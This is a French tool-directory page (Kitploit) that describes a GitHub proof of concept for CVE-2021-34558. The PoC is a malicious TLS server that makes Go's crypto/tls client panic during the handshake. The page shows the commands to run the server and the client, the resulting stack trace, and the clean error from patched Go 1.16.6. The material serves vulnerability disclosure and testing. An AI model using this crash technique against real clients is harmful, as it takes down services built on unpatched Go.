Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2021-34558 — Preuve de concept pour CVE-2021-34558, démontrant un panic de poignée de main TLS dans crypto/tls de Go, via un serveur malveillant avec un certificat et un chiffrement incompatibles. | Kitploit
Outils/GitHubGitHub/alexzorin/cve-2021-34558
Analyse des VulnérabilitésExploitationSécurité WebCryptographieTests d'Intrusion
GitHubalexzorin/cve-2021-34558

cve-2021-34558

Preuve de concept pour CVE-2021-34558, démontrant un panic de poignée de main TLS dans crypto/tls de Go, via un serveur malveillant avec un certificat et un chiffrement incompatibles.

Voir le dépôt
4531il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

POC pour CVE-2021-34558

root@kitploit:~
# Run the malicious TLS server
go run main.go -mode server 

# Run a normal `http.Get` client call against the server which panics
go run main.go -mode client

Une modification mineure a été apportée à ./vendor/github.com/refraction-networking/utls/handshake_server.go pour permettre l'envoi de la poignée de main malveillante avec un certificat/chiffrement non concordant.

Voici à quoi cela ressemble :

root@kitploit:~
$ go run main.go -mode client

panic: interface conversion: interface {} is *ecdsa.PublicKey, not *rsa.PublicKey

goroutine 7 [running]:
crypto/tls.rsaKeyAgreement.generateClientKeyExchange(0xc000001c80, 0xc00014a000, 0xc000130580, 0x0, 0x0, 0x4, 0x6e9da0, 0x7fe73e42e201, 0xc00001c758)
        /usr/local/go/src/crypto/tls/key_agreement.go:70 +0x3a6
crypto/tls.(*clientHandshakeState).doFullHandshake(0xc00015fd48, 0xc00001a380, 0x31)
        /usr/local/go/src/crypto/tls/handshake_client.go:574 +0x5e9
crypto/tls.(*clientHandshakeState).handshake(0xc00015fd48, 0xc00001c418, 0x4)
        /usr/local/go/src/crypto/tls/handshake_client.go:421 +0x566
crypto/tls.(*Conn).clientHandshake(0xc00007f180, 0x0, 0x0)
        /usr/local/go/src/crypto/tls/handshake_client.go:220 +0x754
crypto/tls.(*Conn).Handshake(0xc00007f180, 0x0, 0x0)
        /usr/local/go/src/crypto/tls/conn.go:1391 +0xc9
net/http.(*persistConn).addTLS.func2(0x0, 0xc00007f180, 0x0, 0xc0000624e0)
        /usr/local/go/src/net/http/transport.go:1530 +0x45
created by net/http.(*persistConn).addTLS
        /usr/local/go/src/net/http/transport.go:1526 +0x1f6
exit status 2

Une version corrigée de Go (1.16.6+) ne plante pas :

root@kitploit:~
$ go run main.go -mode client
2021/07/13 06:13:50 <nil> Get "https://127.0.0.1:8443/": tls: server certificate contains incorrect key type for selected ciphersuite
Télécharger l’outil